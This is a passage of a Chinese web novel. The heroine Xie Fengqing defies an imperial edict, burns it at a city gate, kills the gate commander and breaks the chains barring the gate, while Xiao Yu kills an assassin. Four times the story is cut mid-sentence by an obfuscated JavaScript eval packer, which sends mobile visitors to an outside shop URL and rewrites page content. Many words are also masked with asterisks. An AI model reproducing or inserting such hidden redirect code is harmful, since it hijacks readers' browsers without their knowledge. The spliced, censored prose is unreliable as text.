一声尖利、高亢、带着皇家威严与不容置疑的厉喝,如同冰冷的铁锥,狠狠刺穿了这狂热的声浪,从王府大门方向遥遥传来!带着一种强行打断一切的蛮横! 一辆由四匹骏马拉着的、明黄顶盖的宫车,在数十名盔甲鲜明、手持长戟的御林军护卫下,无视王府外城粮仓尚未扑灭的余火和遍地狼藉,如同闯入战场的巨兽,蛮横地碾过染血的积雪,直冲演武场而来!车轮在雪泥混合的地面上留下深深的车辙。 宫车在距离演武场高台数十步外猛地停住,激起一片雪沫。 车门轰然洞开,一名身着深紫色**袍、面白无须的大太监,在两名小太监的搀扶下,颤颤巍巍地下了车。他手中高举着一卷明黄色的绸缎,脸上带着一种刻意端起的、居高临下的倨傲与冰冷。 正是皇帝身边最得力的心腹大太监,高德胜! 他目光扫过演武场上尚未清理的血迹、堆积的尸体、以及那高台之上手持完整虎符、身姿如松的谢凤卿,还有她身侧单膝跪地、刚刚起身、眼神冷冽如刀的萧御。高德胜的瞳孔几不可察地收缩了一下,显然也被这血腥惨烈和虎符合一的场面所震慑,但他很快便恢复了那副皇家奴才特有的、皮笑肉不笑的阴冷表情。 他清了清嗓子,声音尖利得如同夜枭,刻意拉长了调子: “镇北王世子萧御、世子妃谢氏凤卿——接旨!” 这一声,如同冰水浇头,瞬间熄灭了演武场上刚刚燃起的狂热火焰。所有人都静了下来,目光复杂地看向那卷明黄的圣旨,又担忧地看向高台。 萧御缓缓站直身体,与谢凤卿并肩而立。他银甲上的血迹在火光下显得格外刺眼,眼神锐利如鹰隼,紧盯着高德胜。 高德胜无视下方数百道不善的目光,唰地一下展开圣旨,用他那特有的、仿佛要刺破人耳膜的尖细嗓音,高声宣读: “奉天承运皇帝,诏曰:” “镇北王世子萧御,身负沉疴,久病难愈,朕心实忧。世子妃谢氏凤卿,温婉贤淑,当尽心侍疾,以全夫妇之道。然国事维艰,北疆烽烟虽暂歇,兵权之重,非久病之人所能荷。为社稷计,为世子安泰计——” 他故意停顿了一下,目光扫过谢凤卿和萧御,带着一丝不易察觉的阴毒快意,提高了音量: “——着令,镇北王世子萧御,即刻上交镇北军虎符,卸甲归府,安心静养!” “念其新婚,特旨恩典:原定三月后之婚期大典,提前至七日后举行!待大典礼成,世子妃谢氏当恪守妇道,伴于世子榻前,以慰朕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545994|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心!钦此——!” 圣旨宣读完毕,整个演武场陷入了死一般的沉寂,比刚才的厮杀更让人窒息。 七日后完婚?提前婚期?! 这哪里是什么恩典!这分明是皇帝在得知王府剧变、虎符合一后,狗急跳墙,使出的釜底抽薪的毒计! 提前婚期,表面是成全,实则是要将谢凤卿彻底困死在“世子妃”的身份和王府深宅之内!是要在七日后的大典上,当着满朝文武的面,以“礼法”为枷锁,逼迫她交出兵权!是要将刚刚展露锋芒的凤主,重新打回“内宅妇人”的原形! 一旦兵权交出,等待他们的,恐怕就是皇帝随之而来的、真正的、毫无顾忌的雷霆清洗! 寒风卷着血腥气,吹过高台。 高德胜宣读完圣旨,脸上那层虚伪的笑容也懒得再维持,只剩下冰冷的倨傲和一丝隐约的快意。他双手捧着圣旨,微微扬起下巴,对着高台方向,用一种施舍般的口吻催促道: “世子,世子妃,还不速速领旨谢恩?!” 数百道目光,如同沉重的山岳,瞬间压在高台之上。 萧御的拳头在身侧骤然握紧,指节捏得咯咯作响,银甲下的肌肉绷紧如铁,眼中翻涌着暴戾的杀机。交出兵权?提前婚期?将他禁锢?将卿卿困死?这比直接杀了他还要恶毒!他几乎要忍不住拔剑,将眼前这阉奴连同那卷该死的圣旨一同斩碎! 然而,就在这令人窒息的、剑拔**张的千钧一发之际—— 一直沉默的谢凤卿,动了。 她没有去看那卷明黄的圣旨,也没有看高台下神色各异的人群。她的目光,似乎穿过了眼前的高德胜,穿过了王府的高墙,穿过了风雪肆虐的京城,一直投向那遥远而苍茫的北方——那片属于镇北军的铁血疆场。 然后,她缓缓地、缓缓地抬起了眼眸。 那双清冽如寒潭的眼眸中,没有愤怒,没有恐惧,甚至没有一丝波澜。只有一片极致的冰冷与平静。那平静之下,却仿佛蕴藏着足以冰封千里、冻结江河的恐怖力量。 她的视线最终落在了高德胜那张写满倨傲的脸上,红唇轻启,吐出两个字,声音不大,却清晰地盖过了风雪的呼啸,带着一种斩钉截铁、不容置疑的决断: “七日?” 她的唇角,极其轻微地向上勾了一下,勾出一抹冰冷到极致、也锋利到极致的弧度。 “——够了。” 两个字,轻飘飘落下,却如同无形的巨锤,狠狠砸在每一个人的心上! 够了? 什么够了? 在所有人惊愕、茫然、难以置信的目光中,谢凤卿微微侧过头,目光掠过身旁因压抑怒意而身体紧绷的萧御。那眼神极其短暂,却似乎蕴含了千言万语,带着一种冰冷的、却无比强大的安抚力量。 然后,她再次望向北方,仿佛在对那卷圣旨,对那深宫中的皇帝,对整个不公的天下宣告,声音不高,却字字如冰锥,凿进所有人的灵魂深处: “七日之后——” 第22章她竟敢当众焚烧圣旨 风雪在她周身狂舞,火光在她身后跳跃,她立于高台之上,手持完整的镇北虎符,身影在这一刻仿佛无限拔高,与这黑暗的风雪夜空融为一体。 “——我要用北疆的风雪,为他铺一条回京的路!” 北疆的风雪……铺路……回京?! 高德胜脸上的倨傲瞬间僵住,化为一片茫然和惊骇! 萧御紧握的拳头猛地一颤,难以置信地看向谢凤卿冷冽却无比坚定的侧脸! 下方的风雪十八骑、三百死士、所有镇北军旧部,在短暂的死寂之后,眼中猛地爆发出比之前更加炽热、更加疯狂的火焰! 演武场上,雪粉混着未冷的血沫,被狂风卷起,呼啸着扑打在每一个人脸上,冰冷刺骨。 唯有高台之上,那一道素色身影,在冲天的火光与肆虐的风雪映衬下,如同永不熄灭的寒星,指向那铁与血交织的北方。 第七日,卯时。 京城如同被一只无形的巨手扼住了咽喉,死寂得令人心慌。连往日喧嚣的晨鼓声都显得格外滞涩沉闷,一下,又一下,敲在铅灰色的天幕下,也敲在每一个躲在门窗后窥探的人心上。 鹅毛大雪下了一夜,依旧未歇。天地间白茫茫一片,唯有那高耸的城墙和城楼上冰冷的垛口,在风雪中沉默地矗立着,如同巨兽的獠牙。 永定门,这座京畿通往北方的咽喉要道,此刻城门紧闭。厚重的包铁城门如同巨兽合拢的下颚,隔绝了内外。护城河上原本宽阔的石桥,被三道手臂粗细的黝黑铁索横亘拦断,粗大的锁环上凝结着厚厚的冰棱,在风雪中反射着幽冷的光泽。更令人头皮发麻的是,城楼垛口之后,一排排狰狞的守城**机已然张满!粗如儿臂的精钢**箭,闪烁着致命的寒芒,冰冷的箭簇遥遥指向城下,如同毒蛇的獠牙,蓄势待发。肃杀之气,几乎凝固了城门前的空气。 风雪狂啸,卷起地上的积雪,形成一道道迷蒙的白色旋涡。 就在这片死寂的肃杀之中,永定门外的护城河桥面上,一点鲜红骤然刺破了苍白的雪幕! 那是一骑! 一匹通体乌黑、唯有四蹄雪白的神骏战马,马鼻喷吐着灼热的白气。马背上,端坐着一人。 银甲!红袍! 银色的甲叶在风雪中流淌着冷硬的光泽,每一片都仿佛浸染过北疆的霜雪与烽烟。猩红的披风在她身后猎猎狂舞,如同燃烧的火焰,又似泼洒的热血,在漫天飞雪中灼痛了城楼上每一双窥视的眼睛。兜鍪下的面容清绝冷冽,风雪掠过她紧抿的唇线,那双眼睛却亮得惊人,穿透风雪,直直钉在城门楼上,平静得令人心悸。 镇北王世子妃,谢凤卿! 她单骑立于铁索之前,一人一马,孤绝如插在风暴中心的标枪。手中,并非闺阁绣帕,而是一柄古朴的长剑,剑鞘上缠着磨损的皮革,却难掩其内敛的锋芒。此刻,剑尖斜斜抬起,越过横亘的铁索,越过宽阔的护城河,直指那紧闭的城门和城楼上密布的**机! 清冽的声音不高,却如同冰锥凿穿风雪,清晰地撞在厚重的城门上,回荡在城楼守军的耳中: “开门!” 两个字,斩钉截铁,不容置疑! 【世子妃?!她真要硬闯?!】【银甲红袍……疯了!那可是满弦的守城**!】【那三道铁索……碗口粗啊!她一人一剑?】【七日之期到了!她竟真的来了!】 无形的“弹幕”在每一个目睹此景的守军心头疯狂刷过,惊骇、恐惧、难以置信的情绪在冰冷的空气中弥漫。一人一骑,直面雄关劲**,这场景带来的冲击力,远比千军万马更令人窒息! “呵……” 一声刻意拉长的、带着太监特有的尖细与阴阳怪气的冷笑,从城楼上飘了下来。 一名穿着深紫色**袍、面白无须的监军太监,在两名小太监的搀扶下,慢悠悠地踱到了垛口最前方。他居高临下,用一种打量将死之物的眼神睨着桥上的谢凤卿,脸上堆满了虚伪的悲悯和毫不掩饰的倨傲。 他清了清嗓子,尖利的声音刻意拔高,如同破锣刮擦: “镇北王世子妃谢氏凤卿——接旨——!” 他身后一名小太监立刻展开一卷明黄色的绸缎。 太监尖利的声音在风雪中回荡,带着皇权的冰冷重量: “奉天承运皇帝,诏曰:查镇北王世子妃谢氏凤卿,不守妇道,擅离王府,私调兵马,图谋不轨!着令即刻返回王府,闭门思过!若敢抗旨擅离京城一步……” 太监的声音猛地一顿,随即变得更加阴冷刺骨,如同毒蛇吐信: “——斩立决!钦此——!” “斩立决”三个字,如同三把冰刀,狠狠扎向桥上的身影! 城楼上的守军,握着**机的手更紧了几分,指节泛白。空气紧绷如拉满的弓弦。 谢凤卿端坐马上,兜鍪下的面容被风雪模糊,看不清表情。只有那指向城门的剑尖,纹丝未动。 监军太监宣读完圣旨,脸上那点虚伪的悲悯也消失殆尽,只剩下冰冷的得意和催促: “世子妃!圣旨在此!还不速速下马,随咱家回宫请罪?莫要自误,落个身首异处的下场!”他扬了扬手中的圣旨,仿佛那是能定人生死的符咒。 风雪呼啸。 桥上的红袍身影,终于动了。 她缓缓地、缓缓地收回了指向城门的剑。就在监军太监嘴角刚勾起一丝得逞的笑意时—— 谢凤卿手腕猛地一抖! “锵——!” 长剑并未归鞘,而是发出一声清越龙吟!剑光如电,快得让人根本看不清动作!只见一道寒芒闪过,精准无比地刺入身旁一名风雪十八骑骑士递上来的丈二红缨枪枪尖之下! 她手腕一挑一送! 那卷被太监视若珍宝、代表无上皇权的明黄圣旨,竟被冰冷的枪尖稳稳挑住!明黄的绸缎在猩红的枪樱映衬下,显得格外刺眼! “你……你大胆!”监军太监脸色骤变,失声尖叫,伸手指着下方,手指都在哆嗦。 谢凤卿甚至没有看他一眼。她握着枪杆的手腕猛地一旋! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545995|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红缨枪带着那卷圣旨,在半空中划过一道决绝的弧线,狠狠地、精准地插入了桥头熊熊燃烧的、用于夜间照明的巨大火盆之中! “呼——!” 火焰猛地蹿高!明黄的绸缎瞬间被贪婪的火舌舔舐、卷曲、焦黑!刺鼻的焦糊味混合着松脂燃烧的气息弥漫开来,那象征着皇权威严的圣旨,在众目睽睽之下,化作几缕黑烟和灰烬,被凛冽的寒风卷走,散入漫天风雪,再无痕迹! 烧了?! 她竟敢当众焚烧圣旨?! 这已不是抗旨!这是对皇权赤裸裸的、最极致的践踏与蔑视! “嘶——!”城楼上响起一片倒吸冷气的声音。所有守军,包括那监军太监,全都僵在了原地,大脑一片空白,被这惊世骇俗的一幕彻底震懵了! “放箭!放箭!给咱家射死这个反贼!”监军太监终于从极致的惊骇中回过神来,脸上血色尽褪,只剩下歇斯底里的狰狞,他跳着脚,声音尖利得几乎要撕裂喉咙,疯狂地挥舞着手臂! 城楼上的守军如梦初醒,**机手们下意识地就要扣动**! “嗡——!” 弓弦震颤的沉闷声响成一片!上百支闪烁着死亡寒光的**箭,如同骤然扑下的毒蜂群,撕裂风雪,发出刺耳的尖啸,朝着桥面上那道孤绝的银甲红影攒射而去!箭雨覆盖,避无可避! 就在这千钧一发之际! “咻——!” 一道更为尖锐、更为凌厉、仿佛能刺穿灵魂的破空厉啸,从谢凤卿身后不远处骤然响起! 一支通体漆黑、唯有箭簇闪烁着一点暗红流光的铁箭,如同从幽冥中射出的索命之矢,后发先至!其速之快,在空中拉出一道肉眼几乎难以捕捉的黑色残影! 这支箭的目标,并非城楼,也非那密集的箭雨! 它带着一种无坚不摧的精准与霸道,瞬间掠过谢凤卿身侧,直射向城楼正中那具最为庞大、由三名壮汉操控、正对着谢凤卿方向的主**机! “咔嚓——!!” 一声令人牙酸的、金属断裂的脆响,在**箭离弦的嗡鸣声中,竟清晰无比地炸开! 那支黑箭,如同长了眼睛的**,竟精准无比地射中了主**机最关键的那根、足有拇指粗细、绷紧如满月的牛筋弓弦! 坚韧无比的牛筋弓弦,在这灌注了恐怖内力的黑箭撞击下,如同朽木般应声而断! 断弦如同失去控制的巨**,猛地弹跳、抽打,发出刺耳的爆鸣!巨大的反作用力让沉重的**机猛地向后一挫,操控它的三名壮汉猝不及防,被带得踉跄摔倒,**机瞬间歪斜! 而这仅仅是开始! 那支黑箭在射断主弦后,其蕴含的恐怖力量并未完全消散,箭杆在巨大的撞击中碎裂,但碎裂的箭杆碎片带着余威,如同**般迸射开来! “噗噗噗噗……!” 一连串令人头皮发麻的闷响! 周围数架**机的弓弦,竟被这些高速飞溅的碎片瞬间割断!如同被无形的利刃划过! 第23章废物!一群废物 顷刻间,城楼上弦断之声不绝于耳!原本密布死亡威胁的**机阵地,瞬间哑火!只剩下几架边缘的**机幸免于难,射出的零星**箭也失去了准头,歪歪斜斜地射入护城河或桥边的雪地里,徒劳地溅起大片雪沫。 一箭,断主弦,毁群**! 城楼之上,一片死寂。只有断弦无力垂落、在寒风中微微晃动的景象,和守军们脸上那如同见了鬼般的惊骇。 监军太监张着嘴,喉咙里发出咯咯的怪响,却一个字也吐不出来。 谢凤卿身后不远处,萧御缓缓放下了手中那张造型奇古、泛着幽冷金属光泽的铁胎弓。他依旧端坐在一匹通体雪白的神驹之上,银甲覆身,兜鍪下露出的下颌线条绷紧,嘴角却勾起一抹冰冷至极的弧度。方才那一箭,正是出自他手!毒愈之后,他的内力虽未完全恢复巅峰,但这精准到毫巅的控制和霸道绝伦的穿透力,已足够震慑全场! “废物!一群废物!”短暂的死寂后,一声暴怒的咆哮如同炸雷般在城楼上响起! 城门都尉魏长风,这位皇帝的死忠心腹,八品巅峰武夫,终于按捺不住了!他身材魁梧如熊罴,身披厚重的明光铠,头盔下的脸因极致的愤怒而扭曲涨红。方才**箭齐射被一箭破局,圣旨被当众焚烧,这简直是奇耻大辱! “谢凤卿!休得猖狂!本将亲自来会会你这妖妇!”魏长风双目赤红,一把推开挡在身前的士兵,抓起一柄沉重的厚背鬼头刀,竟直接从数丈高的城楼上,沿着陡峭的阶梯,几个纵跃便冲了下来!沉重的身躯踏在结冰的石阶上,发出咚咚的闷响,气势汹汹! 城门轰然打开一道仅容一人通过的缝隙,魏长风如同一头发狂的蛮牛,提着大刀冲了出来!他身后的城门立刻又紧紧关闭。 魏长风大步流星冲到护城河桥头,隔着那道冰冷的铁索,厚背鬼头刀猛地指向端坐马上的谢凤卿,声如洪钟,带着浓烈的杀意: “反贼!可敢下马,与本将决一死战?!若胜了本将手中刀,城门自开!若败了……哼,正好拿你的人头祭旗!”他刻意用上了内力,声音在风雪中滚滚传开,既是挑战,也是激将。 城楼上,所有目光都聚焦过来。监军太监也暂时压下惊恐,眼中闪过一丝阴狠,若能阵前斩杀谢凤卿,那是大功一件! 风雪似乎在这一刻小了些。 谢凤卿兜鍪下的目光,平静地扫过魏长风和他手中那柄寒气森森的大刀。她并未答话,只是左手轻轻一抬。 身后,一名风雪骑士立刻上前,双手奉上一柄丈二红缨枪!枪身乌黑,枪尖雪亮,红缨在风雪中飘舞。 谢凤卿右手长剑归鞘,左手稳稳接过那杆红缨枪。冰冷的枪杆入手,她的气势陡然一变!如果说执剑时她是孤绝的寒星,那么此刻握枪,她便化作了蓄势待发的洪荒凶兽! “驾!” 一声清叱! 胯下踏雪乌骓如同得到冲锋的号令,猛地人立而起,发出一声穿云裂石的长嘶!四蹄翻飞,如同黑色的闪电,朝着桥头的魏长风直冲而去!马蹄踏在石桥上,溅起大片雪泥! “来得好!”魏长风眼中凶光爆射,不退反进,双臂肌肉虬结,沉重的鬼头刀带着开山裂石般的呼啸风声,迎着冲来的战马,一招力劈华山,狠狠斩向马头!势要将谢凤卿连人带马劈成两半! 电光火石之间! 马背上的谢凤卿动了! 她并未硬接这势大力沉的一刀。就在刀锋即将及体的刹那,她腰肢猛地一拧,身体如同灵蛇般向侧面滑开!同时,左手握着的红缨枪如同**出洞,以一个极其刁钻的角度,贴着劈落的刀锋内侧,猛地向上斜挑! “叮——!” 枪尖精准无比地点在鬼头刀宽厚的刀背上!发出一声刺耳的金铁交鸣! 魏长风只觉一股阴柔却沛然难御的巨力从刀身传来,震得他虎口发麻,势大力沉的一刀竟被硬生生挑偏了方向,擦着马身重重劈在桥面的青石板上! “轰!”石屑纷飞! 一枪挑偏大刀,谢凤卿攻势毫不停滞!借着战马前冲的惯性,她身体在鞍桥上猛地回旋,右手闪电般探出,竟不是抓向枪杆,而是再次握住了腰间那柄古朴长剑的剑柄! “锵——!” 长剑再次出鞘!这一次,剑光不再是之前的清冽,而是爆发出刺目的寒芒!如同沉寂的火山骤然喷发! 剑光如匹练!带着斩断一切的决绝,狠狠斩向魏长风因一刀劈空、胸前空门大露的明光铠! “什么?!”魏长风瞳孔骤缩,惊骇欲绝!他万万没想到对方变招如此之快,更弃枪用剑!仓促间只能将鬼头刀横在胸前格挡! “铛——!!” 长剑斩在刀杆之上,爆发出震耳欲聋的巨响!火星四溅! 巨大的力量透过刀杆传来,魏长风只觉得双臂剧震,胸口如同被巨锤砸中,气血翻腾,蹬蹬蹬连退三大步,沉重的战靴在结冰的桥面上划出深深的痕迹!明光铠的护心镜上,赫然出现了一道深深的剑痕! 仅仅两招!第一枪破势,第二剑破防! 谢凤卿根本不给他喘息之机!剑光斩落的瞬间,她左手丢弃的红缨枪尚未落地,身体已如鬼魅般从马背上飘然落地!足尖在冰冷的桥面一点,人剑合一,化作一道银色闪电,直扑身形不稳的魏长风! 第三招!杀招! 魏长风惊魂未定,刚勉强稳住身形,便见一道夺命的剑光已到眼前!快!太快了!他只能凭着本能,将鬼头刀再次格挡向剑光袭来的方向! 然而,谢凤卿眼中寒光一闪!剑势在即将触及刀锋的瞬间,诡异地一折!如同毒蛇摆尾,避开了格挡的刀锋,以一个不可思议的角度,擦着魏长风的肩甲缝隙,狠狠刺入! “噗嗤——!” 剑锋入肉的声音令人牙酸! “呃啊!”魏长风发出一声痛苦的闷哼,左肩瞬间被洞穿!鲜血如同喷泉般飚射而出,染红了银亮的甲叶! 剧痛让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545996|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他动作一僵! 就在这一僵的瞬间!谢凤卿握着剑柄的手腕猛地一拧一抽! 长剑带着一蓬血雨拔出!而她的左手,如同早就计算好一般,在身体前冲的惯性中,稳稳接住了那杆刚刚脱手、尚未落地的红缨枪! 弃剑!握枪! 动作行云流水,快到极致! 猩红的枪樱在风雪中划出一道凄艳的弧线!冰冷的枪尖在魏长风因剧痛而扭曲、难以置信的瞳孔中急速放大! “不——!”魏长风发出绝望的嘶吼。 “噗——!” 枪尖毫无阻碍地贯入了他因嘶吼而张开的咽喉! 声音戛然而止! 时间仿佛在这一刻凝固。 魏长风魁梧的身躯猛地一僵,双眼暴凸,死死盯着眼前这张近在咫尺、清冷绝艳却如同罗刹的脸。他张着嘴,喉咙里发出嗬嗬的怪响,粘稠的鲜血顺着枪杆汩汩涌出。 谢凤卿眼神冰冷,没有丝毫波澜。她手腕猛地一抖! “嗤啦——!” 枪尖带着一蓬滚烫的血雨和碎裂的喉骨,从魏长风的后颈透出! 沉重的身躯如同被抽去了所有骨头,轰然倒地,激起大片雪泥。鲜血迅速在洁白的雪地上蔓延开来,刺目惊心。 城楼之上,一片死寂。只有风雪呼啸的声音。所有守军,包括那监军太监,全都如同被施了定身咒,脸色煞白,手脚冰凉地看着桥头那倒在血泊中的都尉尸体,看着那杆滴血的红缨枪,看着那个缓缓抽回**、红袍被鲜血染得更深的女子。 【杀……杀了?!】【魏都尉……八品巅峰……三招?】【阵前斩将……她……她真敢……】【红袍染血……她到底是人是魔?!】 无形的恐惧如同瘟疫,瞬间席卷了整个城楼! 谢凤卿看也不看地上的尸体。她随手将染血的红缨枪掷还给身后的骑士,反手接住了另一名骑士适时递上的、刚刚归鞘的古朴长剑。 她的目光,越过护城河,再次投向那三道横亘在桥中央、碗口粗细的黝黑铁索。 “风雪十八骑!”清冷的声音响起,带着不容置疑的命令。 “在!”十八道嘶哑如砂砾摩擦的声音同时爆发!如同沉睡的凶兽苏醒!十八名骑士齐刷刷策马上前半步,动作整齐划一,一股历经百战、尸山血海中磨砺出的惨烈杀气冲天而起!瞬间压过了城楼守军的胆寒! “破索!开门!”谢凤卿只有四个字。 “诺!” 为首的刀疤脸骑士猛地一夹马腹!他胯下的战马如同离弦之箭冲出!紧接着是第二个,第三个……十八骑瞬间分成三组,每组六骑,如同三道黑色的钢铁洪流,朝着桥上的三道铁索直冲而去!马蹄踏在染血的桥面上,发出沉闷如雷的轰鸣! 城楼上的守军被这突如其来的、充满毁灭气息的冲锋惊得魂飞魄散! “放箭!快放剩下的**箭!拦住他们!”监军太监尖声嘶叫,声音都变了调。 第24章卿卿小心 几架幸存的**机和零星的弓箭手慌忙发射,稀稀拉拉的箭矢射向冲锋的骑士! 然而,风雪十八骑的冲锋阵型极其诡异,彼此掩护,速度更是快如闪电!箭矢要么落空,要么被他们用手中兵器格开,竟无一人**! 三组骑士,每组六人,在冲到距离铁索数丈远时,最前方的骑士猛地一提缰绳!战马长嘶,人立而起! 就在战马前蹄腾空的瞬间! 紧跟其后的第二名骑士,竟在高速奔驰中,猛地踩上马鞍!借着前马人立之势,如同踏上了无形的阶梯,身形骤然拔高! 第三名、第四名骑士紧随其后,同样踩踏前马马鞍或马背借力!六人如同叠罗汉般,瞬间在狭窄的桥面上形成了一道短暂的人梯! 而最后一名骑士,正是那刀疤脸汉子!他借着前方五人提供的最后一股冲力,如同大鹏展翅,从人梯顶端猛地飞跃而起!手中沉重的**高高举起,带着全身的力量和冲锋的惯性,朝着那碗口粗细的黝黑铁索,狠狠劈下! “给我——开!!” 刀疤脸汉子须发戟张,发出一声震**吼!**撕裂空气,发出恐怖的呜咽! “铛——!!” 震耳欲聋的巨响仿佛要撕裂人的耳膜!火星如同烟花般在刀锋与铁索的撞击处猛烈迸溅! 粗大的铁索猛地一震!锁环连接处发出令人牙酸的呻吟!一道深刻的刀痕赫然出现! 但这铁索显然经过特殊锻造,坚韧异常,并未断裂! 就在刀疤脸汉子力竭下落的瞬间! “让开!” 一声清叱如同惊雷炸响! 一道银甲红袍的身影,如同御风而行,竟不知何时已策马冲到了人梯之下! 是谢凤卿! 她足尖在马鞍上一点,整个人如同轻盈的雨燕,冲天而起!高度甚至超过了方才的刀疤脸汉子!她人在半空,手中那柄古朴长剑已然出鞘!剑身之上,仿佛有幽冷的流光急速流转! 没有惊天动地的怒吼,只有一种极致的、凝练到一点的杀意! 她双手握剑,高举过头!全身的力量、冲天的战意、以及对前路阻碍的决绝,尽数灌注于这一剑之中! 剑光如九天银河倒悬!带着斩断一切枷锁、劈开一切阻碍的意志,朝着铁索上那道被**劈出的深刻刀痕,狠狠斩落! “断——!” “锵——啷——!!” 一声远比之前任何一次撞击都要清脆、都要刺耳的断裂声,骤然响起! 如同巨龙悲鸣! 那碗口粗细、坚韧无比的黝黑铁索,在剑光落下的地方,应声而断!断裂的锁环如同被巨力扭曲的麻花,带着灼热的温度,向两侧猛地崩飞出去! 一道铁索,断! “好!”风雪十八骑爆发出震天的喝彩! 谢凤卿一剑斩断铁索,身体借力一个空翻,稳稳落回自己的踏雪乌骓马背之上。动作飘逸迅捷,一气呵成! “第二道!第三道!”她长剑一指,声音冰冷如铁。 风雪十八骑士气大振!如法炮制!刀疤脸汉子再次带人组梯冲锋! 然而,就在他们冲向第二道铁索,谢凤卿也准备再次蓄力冲关的刹那—— 一道几乎融入风雪的、淡得肉眼难辨的灰色影子,如同鬼魅般从城楼一处极其隐蔽的箭垛阴影中电射而出!其速度之快,远超之前任何一人!目标,直指刚刚落回马背、正是旧力刚去新力未生之际的谢凤卿后心! 是影麟卫副统领,影鹫!轻功绝顶,擅于狙杀! 他手中没有刀剑,只有三根细如牛毛、闪烁着幽蓝光泽的**!无声无息,快逾闪电! “卿卿小心!”一声惊怒交加的厉吼! 银色的身影如同瞬移般出现在谢凤卿身后! 是萧御! 他竟在间不容发之际,弃了自己的白马,以不可思议的速度飞扑而至!毒愈之后,他经脉初通,轻功身法反而因生死磨砺更显鬼魅!他根本来不及拔剑格挡,只能用身体作为盾牌! “噗!噗!噗!” 三声极其细微的入肉声! 三根**,尽数钉入了萧御挡在谢凤卿身后的左肩胛处!银甲竟未能完全挡住这阴毒的暗器!剧痛伴随着一股阴寒瞬间蔓延! “呃!”萧御闷哼一声,身体猛地一震,脸色瞬间苍白如纸。 影鹫一击得手,眼中刚闪过一丝残忍的得意,准备抽身远遁—— 然而,就在他身形将动未动的瞬间! 一只冰冷如铁钳的手,竟如同未卜先知般,精准无比地扣住了他刚刚发出**、尚未来得及收回的右手手腕! 影鹫骇然抬头,正对上萧御那双燃烧着滔**火与暴戾杀机的眼睛!那眼神,如同地狱归来的修罗,哪里还有半分**初愈的虚弱?! “找死!”萧御的声音如同九幽寒冰。 他根本不给影鹫任何反应的机会!扣住对方手腕的右手猛地发力一拧! “咔嚓嚓——!” 令人头皮炸裂的、密集的骨骼碎裂声爆响! 影鹫的整条右臂,从手腕到肩胛,瞬间被拧成了扭曲的麻花状!骨头茬子刺破皮肉,暴露在寒冷的空气中! “啊——!!”影鹫发出一声不似人声的凄厉惨嚎! 这惨嚎只持续了半声! 萧御的左手,如同毒蛇般探出,五指如钩,精准无比地扣住了影鹫的咽喉! “咔嚓!” 又是一声清脆得令人心悸的颈骨断裂声! 影鹫的惨嚎戛然而止,眼珠猛地凸出,充满了极致的痛苦和难以置信。他所有的轻功,所有的阴毒,在这绝对的力量和暴戾面前,都成了笑话。 萧御面无表情,如同丢弃一件肮脏的垃圾,随手将影鹫软绵绵的尸体甩向护城河。 “噗通!”尸体砸破薄冰,沉入冰冷的河水,只冒了几个血泡便消失不见。 影麟卫副统领,毙! 这一切发生在电光火石之间!从影鹫偷袭到毙命,不过眨眼! 谢凤卿此时已完全转过身,目光落在萧御染血的左肩,那三根幽蓝的**尾端还在微微颤动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545997|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她眼底深处,一丝极其细微的波动转瞬即逝,快得无法捕捉。 “没事?”她的声音依旧清冷,听不出情绪。 “死不了。”萧御扯了扯嘴角,脸色苍白,眼神却凶戾不减,随手拔掉肩上的**,看也不看丢在地上,仿佛只是被蚊子叮了一口。 两人目光交汇一瞬,无需多言。 “继续!”谢凤卿不再看他,长剑再次指向剩余的两道铁索。 风雪十八骑再无阻碍!士气如虹! “轰——!!” “轰——!!” 接连两声震天巨响!剩下的两道铁索在风雪十八骑默契的配合与谢凤卿蓄满内力、势若雷霆的剑光下,应声而断! 三道拦路铁索,尽数崩碎! “撞门!”谢凤卿一声令下! 刀疤脸汉子带着数名骑士,策马冲向紧闭的城门!沉重的城门栓在巨大的撞击力下发出不堪重负的呻吟! “顶住!给咱家顶住啊!”城楼上的监军太监吓得魂飞魄散,尖声嘶叫。 